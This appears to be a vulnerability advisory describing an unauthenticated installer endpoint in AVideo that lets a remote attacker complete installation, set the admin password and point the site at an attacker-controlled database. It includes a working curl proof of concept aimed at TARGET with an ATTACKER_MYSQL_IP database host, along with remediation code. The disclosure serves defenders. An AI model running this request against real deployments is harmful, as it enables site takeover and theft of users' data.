+ "details": "## Summary\nThe `install/checkConfiguration.php` endpoint performs full application initialization — database setup, admin account creation, and configuration file write — from unauthenticated POST input. The only guard is checking whether `videos/configuration.php` already exists. On uninitialized deployments, any remote attacker can complete the installation with attacker-controlled credentials and an attacker-controlled database, gaining full administrative access.\n\n## Affected Component\n- `install/checkConfiguration.php` — entire file (lines 1-273)\n\n## Description\n\n### No authentication or access restriction on installer endpoint\n\nThe `checkConfiguration.php` file performs the most privileged operations in the application — creating the database schema, the admin account, and the configuration file — with no authentication, no setup token, no CSRF protection, and no IP restriction. The sole guard is a file-existence check:\n\n```php\n// install/checkConfiguration.php — lines 2-5\nif (file_exists(\"../videos/configuration.php\")) {\n error_log(\"Can not create configuration again: \". json_encode($_SERVER));\n exit;\n}\n```\n\nIf `videos/configuration.php` does not exist (fresh deployment, container restart without persistent storage, re-deployment), the entire installer runs with attacker-controlled POST parameters.\n\n### Attacker-controlled database host eliminates credential guessing\n\nUnlike typical installer exposure vulnerabilities where the attacker must guess the target's database credentials, this endpoint allows the attacker to supply their own database host:\n\n```php\n// install/checkConfiguration.php — line 25\n$mysqli = @new mysqli($_POST['databaseHost'], $_POST['databaseUser'], $_POST['databasePass'], \"\", $_POST['databasePort']);\n```\n\nThe attacker can:\n1. Run their own MySQL server with the AVideo schema pre-loaded\n2. Set `databaseHost` to their server's IP\n3. The connection succeeds (attacker controls the DB)\n4. The configuration file is written pointing the application at the attacker's database permanently\n\n### Admin account creation with unsanitized input\n\nThe admin user is created with direct POST parameter concatenation into SQL:\n\n```php\n// install/checkConfiguration.php — line 120\n$sql = \"INSERT INTO users (id, user, email, password, created, modified, isAdmin) VALUES (1, 'admin', '\"\n . $_POST['contactEmail'] . \"', '\" . md5($_POST['systemAdminPass']) . \"', now(), now(), true)\";\n```\n\nThis has two issues: (1) the attacker controls the admin password, and (2) `$_POST['contactEmail']` is directly concatenated into SQL without escaping (SQL injection).\n\n### Configuration file written with attacker-controlled values\n\nThe configuration file is written to disk with all attacker-supplied values embedded:\n\n```php\n// install/checkConfiguration.php — lines 238-247\n$videosDir = $_POST['systemRootPath'].'videos/';\n\nif(!is_dir($videosDir)){\n mkdir($videosDir, 0777, true);\n}\n\n$fp = fopen(\"{$videosDir}configuration.php\", \"wb\");\nfwrite($fp, $content);\nfclose($fp);\n```\n\nThe `$content` variable (built at lines 188-236) embeds `$_POST['databaseHost']`, `$_POST['databaseUser']`, `$_POST['databasePass']`, `$_POST['webSiteRootURL']`, `$_POST['systemRootPath']`, and `$_POST['salt']` directly into the PHP configuration file.\n\n### Inconsistent defense: CLI installer is protected, web endpoint is not\n\nThe CLI installer (`install/install.php`) properly restricts access:\n\n```php\n// install/install.php — lines 3-5\nif (!isCommandLineInterface()) {\n die('Command Line only');\n}\n```\n\nThe web endpoint (`checkConfiguration.php`) lacks any equivalent protection, creating an inconsistent defense pattern.\n\n### No web server protection on install directory\n\nThere is no `.htaccess` file in the `install/` directory. The root `.htaccess` does not block access to `install/`. The endpoint is directly accessible at `/install/checkConfiguration.php`.\n\n### Execution chain\n\n1. Attacker discovers an AVideo instance where `videos/configuration.php` does not exist (fresh or re-deployed)\n2. Attacker sends POST to `/install/checkConfiguration.php` with their own database host, admin password, and site configuration\n3. The script connects to the attacker's database (or the target's with guessed/default credentials)\n4. Tables are created, admin user is inserted with attacker's password\n5. `configuration.php` is written to disk, permanently configuring the application\n6. Attacker logs in as admin with full control over the application\n\n## Proof of Concept\n\n**Step 1:** Set up an attacker-controlled MySQL server with the AVideo schema:\n\n```bash\n# On attacker's server\nmysql -e \"CREATE DATABASE avideo;\"\nmysql avideo < database.sql # Use AVideo's own schema file\n```\n\n**Step 2:** Send the installation request to the target:\n\n```bash\ncurl -s -X POST https://TARGET/install/checkConfiguration.php \\\n -d 'systemRootPath=/var/www/html/AVideo/' \\\n -d 'databaseHost=ATTACKER_MYSQL_IP' \\\n -d 'databasePort=3306' \\\n -d 'databaseUser=attacker' \\\n -d 'databasePass=attacker_pass' \\\n -d 'databaseName=avideo' \\\n -d 'createTables=1' \\\n -d 'contactEmail=attacker@example.com' \\\n -d 'systemAdminPass=AttackerPass123!' \\\n -d 'webSiteTitle=Pwned' \\\n -d 'mainLanguage=en_US' \\\n -d 'webSiteRootURL=https://TARGET/'\n```\n\n**Step 3:** Log in as admin:\n\n```\nUsername: admin\nPassword: AttackerPass123!\n```\n\nThe attacker now has full administrative access. If using their own database, they control all application data.\n\n## Impact\n\n- **Full application takeover:** Attacker becomes the sole admin with complete control\n- **Persistent backdoor via configuration:** The `videos/configuration.php` file is written with attacker-controlled database credentials, ensuring persistent access even after the attack\n- **Data exfiltration:** If pointing to the attacker's database, all future user data (registrations, uploads, comments) flows to the attacker\n- **Remote code execution potential:** Admin access in AVideo enables file uploads and plugin management, which can lead to arbitrary PHP execution\n- **SQL injection bonus:** `$_POST['contactEmail']` on line 120 is directly concatenated into SQL, allowing additional database manipulation\n\n## Recommended Remediation\n\n### Option 1: Add a one-time setup token (preferred)\n\nGenerate a random setup token during deployment that must be provided to complete installation:\n\n```php\n// At the top of install/checkConfiguration.php, after the file_exists check:\n\n// Require a setup token that was generated during deployment\n$setupTokenFile = __DIR__ . '/../videos/.setup_token';\nif (!file_exists($setupTokenFile)) {\n $obj = new stdClass();\n $obj->error = \"Setup token file not found. Create videos/.setup_token with a random secret.\";\n header('Content-Type: application/json');\n echo json_encode($obj);\n exit;\n}\n\n$expectedToken = trim(file_get_contents($setupTokenFile));\nif (empty($_POST['setupToken']) || !hash_equals($expectedToken, $_POST['setupToken'])) {\n $obj = new stdClass();\n $obj->error = \"Invalid setup token.\";\n header('Content-Type: application/json');\n echo json_encode($obj);\n exit;\n}\n```\n\n### Option 2: Restrict installer to localhost/CLI only\n\nBlock web access to the installer entirely:\n\n```php\n// At the top of install/checkConfiguration.php, after the file_exists check:\nif (!isCommandLineInterface()) {\n $allowedIPs = ['127.0.0.1', '::1'];\n if (!in_array($_SERVER['REMOTE_ADDR'], $allowedIPs)) {\n header('Content-Type: application/json');\n echo json_encode(['error' => 'Installation is only allowed from localhost']);\n exit;\n }\n}\n```\n\nAdditionally, add an `.htaccess` file in the `install/` directory:\n\n```apache\n# install/.htaccess\n<Files \"checkConfiguration.php\">\n Require local\n</Files>\n```\n\n### Additional fixes needed\n\n1. **Parameterize SQL queries** on line 120 to prevent SQL injection:\n```php\n$stmt = $mysqli->prepare(\"INSERT INTO users (id, user, email, password, created, modified, isAdmin) VALUES (1, 'admin', ?, ?, now(), now(), true)\");\n$hashedPass = md5($_POST['systemAdminPass']); // Also: upgrade from md5 to password_hash()\n$stmt->bind_param(\"ss\", $_POST['contactEmail'], $hashedPass);\n$stmt->execute();\n```\n\n2. **Upgrade password hashing** from `md5()` to `password_hash()` with `PASSWORD_BCRYPT` or `PASSWORD_ARGON2ID`.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
0 commit comments